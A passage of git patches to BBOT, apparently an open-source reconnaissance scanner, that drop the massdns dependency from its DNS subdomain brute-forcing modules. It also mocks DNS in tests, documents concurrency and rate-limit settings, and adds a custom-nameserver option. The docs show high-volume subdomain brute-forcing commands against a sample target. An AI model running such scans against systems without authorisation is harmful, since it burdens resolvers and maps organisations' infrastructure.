b/bbot/modules/dnsbrute.py index 7b56ae1408..13c965bc48 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -62,7 +62,7 @@ async def filter_event(self, event): async def handle_event(self, event): query = self.make_query(event) self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.pretty_string})") - for hostname in await self.helpers.dns.brute(self, query, self.subdomain_list): + for hostname in await self.helpers.dns.brute(query, self.subdomain_list): await self.emit_event( hostname, "DNS_NAME", diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index b4784f6ea6..10d33fdfbd 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -123,7 +123,7 @@ def add_mutation(m): self.info( f"Trying {len(mutations):,} mutations against {domain} ({i + 1}/{len(trimmed_found)})" ) - results = await self.helpers.dns.brute(self, query, mutations) + results = await self.helpers.dns.brute(query, mutations) try: mutation_run = self._mutation_run_counter[domain] except KeyError: diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 36ce8fb89b..c4f59ede31 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -34,7 +34,7 @@ async def filter_event(self, event): async def handle_event(self, event): query = self.make_query(event) self.verbose(f'Brute-forcing {self.num_srvs:,} SRV records for "{query}"') - for hostname in await self.helpers.dns.brute(self, query, common_srvs, type="SRV"): + for hostname in await self.helpers.dns.brute(query, common_srvs, type="SRV"): await self.emit_event( hostname, "DNS_NAME", diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index 3ecbf4dceb..3a05a92de8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -7,19 +7,6 @@ class TestDnsbrute(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist), "max_depth": 3}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "asdf.blacklanternsecurity.com" in _input: - yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, @@ -149,19 +136,6 @@ class TestDnsbruteMultiWordlist(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "asdf.blacklanternsecurity.com" in _input: - yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, @@ -183,9 +157,8 @@ def check(self, module_test, events): class TestDnsbruteCanaryCheck(ModuleTestBase): """Test that the canary check correctly aborts brute-forcing on wildcard domains. - Simulates a wildcard domain by making massdns return a result for every input - subdomain, including the canary subdomains. The canary check should detect - this and return no results. + Simulates a wildcard domain by resolving every name under it, canaries + included. The canary check should detect this and return no results. """ module_name = "dnsbrute" @@ -193,31 +166,11 @@ class TestDnsbruteCanaryCheck(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist)}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - # simulate a wildcard domain: return a result for EVERY input subdomain - _input = [l async for l in kwargs["input"]] - for subdomain in _input: - hostname = subdomain.strip() - if hostname: - yield ( - '{"name": "' - + hostname - + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "' - + hostname - + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}' - ) - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, + # Resolve anything under the domain, so the random canaries hit too. + "regex:.*\\.blacklanternsecurity\\.com": {"A": ["1.2.3.4"]}, } ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py index 4f4009825f..dee3858c34 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py @@ -11,23 +11,6 @@ class TestDnsbrute_mutations(ModuleTestBase): ] async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "rrrr-test.blacklanternsecurity.com" in _input: - yield """{"name": "rrrr-test.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "rrrr-test.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - if "rrrr-ffdsa.blacklanternsecurity.com" in _input: - yield """{"name": "rrrr-ffdsa.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "rrrr-ffdsa.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - if "hmmmm.test2.blacklanternsecurity.com" in _input: - yield """{"name": "hmmmm.test2.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "hmmmm.test2.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index b8b1255a55..4ac7d5bd82 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -8,27 +8,6 @@ class TestDNSCommonSRV(ModuleTestBase): config_overrides = {"dns": {"minimal": False}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "_ldap._tcp.gc._msdcs.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.media.www.test.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.www.test.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.media.www.test.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, From 5d129d5b3442d842eba90af6f386a23f80e72b78 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 29 Jul 2026 13:55:53 -0400 Subject: [PATCH 018/256] Remove massdns dependency and references Deletes DEP_MASSDNS and the deps_common entries that pulled it in, so BBOT no longer builds massdns from source at install time. Documents the new brute-force knobs in place of dns.brute_threads, and swaps the deps_ansible example in the module howto to masscan, which BBOT still builds the same way. --- bbot/core/shared_deps.py | 38 +----------------------------- bbot/modules/dnsbrute.py | 3 +-- bbot/modules/dnsbrute_mutations.py | 3 +-- bbot/modules/dnscommonsrv.py | 1 - docs/dev/module_howto.md | 14 +++++------ docs/modules/list_of_modules.md | 4 ++-- docs/scanning/configuration.md | 11 +++++---- docs/scanning/tips_and_tricks.md | 12 ++++++---- 8 files changed, 27 insertions(+), 59 deletions(-) diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index 49fa2d69cf..31f622ce88 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -22,42 +22,6 @@ }, ] -DEP_MASSDNS = [ - { - "name": "install dev tools", - "package": {"name": ["gcc", "git", "make"], "state": "present"}, - "become": True, - "ignore_errors": True, - }, - { - "name": "Download massdns source code", - "git": { - "repo": "https://github.com/blechschmidt/massdns.git", - "dest": "#{BBOT_TEMP}/massdns", - "single_branch": True, - "version": "master", - }, - }, - { - "name": "Build massdns (Linux)", - "command": {"chdir": "#{BBOT_TEMP}/massdns", "cmd": "make", "creates": "#{BBOT_TEMP}/massdns/bin/massdns"}, - "when": "ansible_facts['system'] == 'Linux'", - }, - { - "name": "Build massdns (non-Linux)", - "command": { - "chdir": "#{BBOT_TEMP}/massdns", - "cmd": "make nolinux", - "creates": "#{BBOT_TEMP}/massdns/bin/massdns", - }, - "when": "ansible_facts['system'] != 'Linux'", - }, - { - "name": "Install massdns", - "copy": {"src": "#{BBOT_TEMP}/massdns/bin/massdns", "dest": "#{BBOT_TOOLS}/", "mode": "u+x,g+x,o+x"}, - }, -] - DEP_CHROMIUM = [ { "name": "Install Chromium (Non-Debian)", @@ -232,7 +196,7 @@ }, ] -# shared module dependencies -- massdns, chromium, etc. +# shared module dependencies -- chromium, java, etc. SHARED_DEPS = {} for var, val in list(locals().items()): if var.startswith("DEP_") and isinstance(val, list): diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 13c965bc48..a300b7745b 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -9,7 +9,7 @@ class dnsbrute(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { - "description": "Brute-force subdomains with massdns + static wordlist", + "description": "Brute-force subdomains with a static wordlist", "author": "@TheTechromancer", "created_date": "2024-04-24", } @@ -25,7 +25,6 @@ class Config(BaseModuleConfig): description="If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output.", ) - deps_common = ["massdns"] reject_wildcards = "strict" dedup_strategy = "lowest_parent" _qsize = 10000 diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index 10d33fdfbd..8121388daa 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -9,7 +9,7 @@ class dnsbrute_mutations(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { - "description": "Brute-force subdomains with massdns + target-specific mutations", + "description": "Brute-force subdomains with target-specific mutations", "author": "@TheTechromancer", "created_date": "2024-04-25", } @@ -17,7 +17,6 @@ class dnsbrute_mutations(BaseModule): class Config(BaseModuleConfig): max_mutations: int = Field(100, description="Maximum number of target-specific mutations to try per subdomain") - deps_common = ["massdns"] _qsize = 10000 async def setup(self): diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index c4f59ede31..300a503c5b 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -9,7 +9,6 @@ class dnscommonsrv(subdomain_enum): flags = ["safe", "subdomain-enum", "active"] meta = {"description": "Check for common SRV records", "created_date": "2022-05-15", "author": "@TheTechromancer"} dedup_strategy = "lowest_parent" - deps_common = ["massdns"] class Config(BaseModuleConfig): max_depth: int = Field(2, description="The maximum subdomain depth to brute-force SRV records") diff --git a/docs/dev/module_howto.md b/docs/dev/module_howto.md index 9554466aeb..32f20a22b1 100644 --- a/docs/dev/module_howto.md +++ b/docs/dev/module_howto.md @@ -182,21 +182,21 @@ class MyModule(BaseModule): "ignore_errors": True, }, { - "name": "Download massdns source code", + "name": "Download masscan source code", "git": { - "repo": "https://github.com/blechschmidt/massdns.git", - "dest": "#{BBOT_TEMP}/massdns", + "repo": "https://github.com/robertdavidgraham/masscan.git", + "dest": "#{BBOT_TEMP}/masscan", "single_branch": True, "version": "master", }, }, { - "name": "Build massdns", - "command": {"chdir": "#{BBOT_TEMP}/massdns", "cmd": "make", "creates": "#{BBOT_TEMP}/massdns/bin/massdns"}, + "name": "Build masscan", + "command": {"chdir": "#{BBOT_TEMP}/masscan", "cmd": "make -j", "creates": "#{BBOT_TEMP}/masscan/bin/masscan"}, }, { - "name": "Install massdns", - "copy": {"src": "#{BBOT_TEMP}/massdns/bin/massdns", "dest": "#{BBOT_TOOLS}/", "mode": "u+x,g+x,o+x"}, + "name": "Install masscan", + "copy": {"src": "#{BBOT_TEMP}/masscan/bin/masscan", "dest": "#{BBOT_TOOLS}/", "mode": "u+x,g+x,o+x"}, }, ] ``` diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 7c71adaf4b..2cd2e027ae 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -16,8 +16,8 @@ | bucket_hetzner | scan | No | Check for Hetzner Object Storage buckets related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @ChrisJr404 | 2026-05-04 | | bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | | bypass403 | scan | No | Check 403 pages for common bypasses | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | -| dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, loud, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | -| dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, loud, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | +| dnsbrute | scan | No | Brute-force subdomains with a static wordlist | active, loud, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | +| dnsbrute_mutations | scan | No | Brute-force subdomains with target-specific mutations | active, loud, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | | dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | | dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | | filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index ce5e3ec29c..975120b714 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -107,13 +107,16 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false - # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) + # How many queries to keep in flight per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) threads: 10 # How many DNS records to cache cache_size: 100000 - # How many concurrent DNS resolvers to use when brute-forcing - # (under the hood this is passed through directly to massdns -s) - brute_threads: 1000 + # How many queries to keep in flight in total when brute-forcing + brute_concurrency: 1000 + # How many brute-force queries to keep in flight per resolver (the politeness bound) + brute_inflight_per_resolver: 2 + # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) + brute_rate_limit: 0 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index 9bae563a51..f5f42dc14d 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -38,16 +38,20 @@ bbot -t evilcorp.com -m baddns -c modules.baddns.module_threads=20 ### Boost DNS Brute-force Speed -If you have a fast internet connection or are running BBOT from a cloud VM, you can speed up subdomain enumeration by cranking the threads for `massdns`. The default is `1000`, which is about 1MB/s of DNS traffic: +If you have a fast internet connection or are running BBOT from a cloud VM, you can speed up subdomain enumeration by raising how many brute-force queries stay in flight. The default is `1000`, which is roughly 1MB/s of DNS traffic: ```bash -# massdns with 5000 resolvers, about 5MB/s -bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000 +# about 5MB/s +bbot -t evilcorp.com -f subdomain-enum -c dns.brute_concurrency=5000 ``` +Brute-forcing backs off on its own when resolvers start dropping queries, so raising this sets how fast BBOT will go when the resolvers can keep up, not how hard it will push regardless. If you need a firm ceiling as well, set `dns.brute_rate_limit` (queries per second, `0` for unlimited). + +To be gentler on individual resolvers rather than faster, lower `dns.brute_inflight_per_resolver` (default `2`). No resolver ever receives more than this at once, however large the resolver list. + ### Speed Up Scans with More DNS Resolvers -By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) spins up multiple threads per resolver (default: `10`, configurable via `dns.threads`), so more resolvers = more parallelism = faster scans. +By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) keeps multiple queries in flight per resolver (default: `10`, configurable via `dns.threads`), so more resolvers = more parallelism = faster scans. For OSINT, it's critical that every resolver is **unfiltered**. Specialized resolvers that try to block ads, malicious domains, etc. will intentionally omit results. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers: From a2a7be93e8072d808892ea48971a8236bca13000 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 29 Jul 2026 14:00:28 -0400 Subject: [PATCH 019/256] Require blastdns 2.0 uv.lock still pins 1.9.1 and cannot be regenerated until 2.0.0 is published, so dependency resolution will fail until then. Regenerate the lock once the release is out. --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index fca08c78dd..b5e44355a4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ dependencies = [ "tldextract>=5.3.0,<6", "cloudcheck>=11.1.0,<12", "blasthttp>=0.9.0", - "blastdns>=1.9.0,<2", + "blastdns>=2.0.0,<3", "zstandard>=0.22,<1", ] From 2bfe5b6ba0ad0587955e6833033549a194973bd4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 29 Jul 2026 15:57:57 -0400 Subject: [PATCH 020/256] Add --custom-nameserver Supplied nameservers replace the OS-detected ones for normal resolution. DNSHelper.system_resolvers keeps meaning "what the OS reported" and the new DNSHelper.resolvers is what actually gets queried. resolver_file follows the effective set, so external tools pointed at it (nuclei) honor the setting too. The brute-force pool likewise excludes the effective set rather than the system one, preserving the reason that exclusion exists: brute traffic must not rate-limit our own resolution. Brute-forcing is unaffected and keeps its own dns.brute_nameservers list. Validation is blastdns's, so an unusable address is reported once, from one place, rather than reimplementing resolver parsing in Python. --- bbot/core/config/models.py | 1 + bbot/core/helpers/dns/brute.py | 4 ++-- bbot/core/helpers/dns/dns.py | 39 +++++++++++++++++++++---------- bbot/defaults.yml | 2 ++ bbot/modules/nuclei.py | 2 +- bbot/scanner/preset/args.py | 10 ++++++++ bbot/test/test_step_1/test_cli.py | 8 +++++++ bbot/test/test_step_1/test_dns.py | 29 +++++++++++++++++++++-- docs/scanning/configuration.md | 2 ++ 9 files changed, 80 insertions(+), 17 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 97a67bf362..6cc7b8862b 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -244,6 +244,7 @@ class DnsConfig(BaseModel): disable: Optional[bool] = None minimal: Optional[bool] = None + nameservers: Optional[list[str]] = None threads: Optional[int] = None cache_size: Optional[int] = None brute_concurrency: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index ffb05c5e39..e4fc0a44b0 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -188,9 +188,9 @@ async def resolver_file(self): cache_hrs=24 * 7, ) nameservers = set(self.parent_helper.read_file(self._resolver_file_original)) - nameservers.difference_update(self.parent_helper.dns.system_resolvers) - # exclude system nameservers from brute-force + # exclude whatever the main DNS path is using, custom or system # this helps prevent rate-limiting which might cause BBOT's main dns queries to fail + nameservers.difference_update(self.parent_helper.dns.resolvers) self._resolver_file = self.parent_helper.tempfile(nameservers, pipe=False) return self._resolver_file diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index 4f699f8754..ecf1268a7f 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -10,6 +10,7 @@ from blastdns.exceptions import BlastDNSError from bbot.core.helpers.async_helpers import NamedLock, async_cachedmethod +from bbot.errors import ValidationError from .helpers import all_rdtypes, extract_targets, record_to_text from ..misc import clean_dns_record, domain_parents, is_dns_name, is_domain, is_ip, parent_domain, rand_string @@ -50,22 +51,36 @@ def __init__(self, parent_helper): # how many consecutive DNS resolution hops we allow before tagging an event as runaway self.runaway_limit = self.dns_config.get("runaway_limit", 5) - # blastdns client + # resolvers: operator-supplied nameservers replace the OS ones entirely. + # system_resolvers keeps meaning "what the OS reported"; self.resolvers is + # what we actually query. self.system_resolvers = get_system_resolvers() + custom_nameservers = self.dns_config.get("nameservers", None) or [] + if custom_nameservers: + self.resolvers = list(custom_nameservers) + self.log.info(f"Using {len(self.resolvers):,} custom nameserver(s) instead of system resolvers") + else: + self.resolvers = list(self.system_resolvers) + self.log.debug( f"Starting BlastDNS client with {self.threads} queries in flight per resolver, " f"{self.retries} retries, {self.cache_size} cache size, " f"and {self.timeout} second timeout" ) - self.blastdns = Client( - self.system_resolvers, - ClientConfig( - request_timeout_ms=self.timeout * 1000, - max_retries=self.retries, - max_inflight_per_resolver=self.threads, - cache_capacity=self.cache_size, - ), - ) + try: + self.blastdns = Client( + self.resolvers, + ClientConfig( + request_timeout_ms=self.timeout * 1000, + max_retries=self.retries, + max_inflight_per_resolver=self.threads, + cache_capacity=self.cache_size, + ), + ) + except BlastDNSError as e: + # blastdns validates resolver addresses; surface which setting is at fault + source = "dns.nameservers" if custom_nameservers else "system resolvers" + raise ValidationError(f"Error in {source}: {e}") from e # parse dns.omit_queries (e.g. "A:internal.bad.com") into {rdtype: {host, ...}} self.dns_omit_queries = {} @@ -91,8 +106,8 @@ def __init__(self, parent_helper): self._last_dns_success = None self._last_connectivity_warning = time.time() - # copy the system's current resolvers to a text file for tool use - self.resolver_file = self.parent_helper.tempfile(self.system_resolvers, pipe=False) + # copy the resolvers we're using to a text file for tool use + self.resolver_file = self.parent_helper.tempfile(self.resolvers, pipe=False) # brute force helper self._brute = None diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 582d3546e1..35d5053319 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -47,6 +47,8 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false + # Nameservers to use instead of the system ones (empty = use system resolvers) + nameservers: [] # How many queries to keep in flight per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) threads: 10 # How many DNS records to cache diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 2a979a4bcf..ec8da876d0 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -227,7 +227,7 @@ async def execute_nuclei(self, nuclei_input): self.retries, ] - if self.helpers.system_resolvers: + if self.helpers.dns.resolvers: command += ["-r", self.helpers.resolver_file] for hk, hv in self.scan.custom_http_headers.items(): diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index b5a242e6bb..2204274872 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -207,6 +207,9 @@ def preset_from_args(self): if self.parsed.no_proxy: args_preset.core.merge_custom({"web": {"http_proxy_exclude": self.parsed.no_proxy}}) + if self.parsed.custom_nameserver: + args_preset.core.merge_custom({"dns": {"nameservers": self.parsed.custom_nameserver}}) + if self.parsed.custom_headers: args_preset.core.merge_custom({"web": {"http_headers": self.parsed.custom_headers}}) @@ -429,6 +432,13 @@ def create_parser(self, *args, **kwargs): help="Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8)", metavar="HOST", ) + misc.add_argument( + "--custom-nameserver", + nargs="+", + default=[], + help="Use these nameservers instead of the system ones (e.g. 1.1.1.1 8.8.8.8:53)", + metavar="NAMESERVER", + ) misc.add_argument( "-H", "--custom-headers", diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c8321283cd..71d8a12b8c 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -828,6 +828,14 @@ def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): stdout_preset.pop("description") assert stdout_preset == {"config": {"web": {"http_proxy": "http://127.0.0.1:8080"}}} + # --custom-nameserver + monkeypatch.setattr("sys.argv", 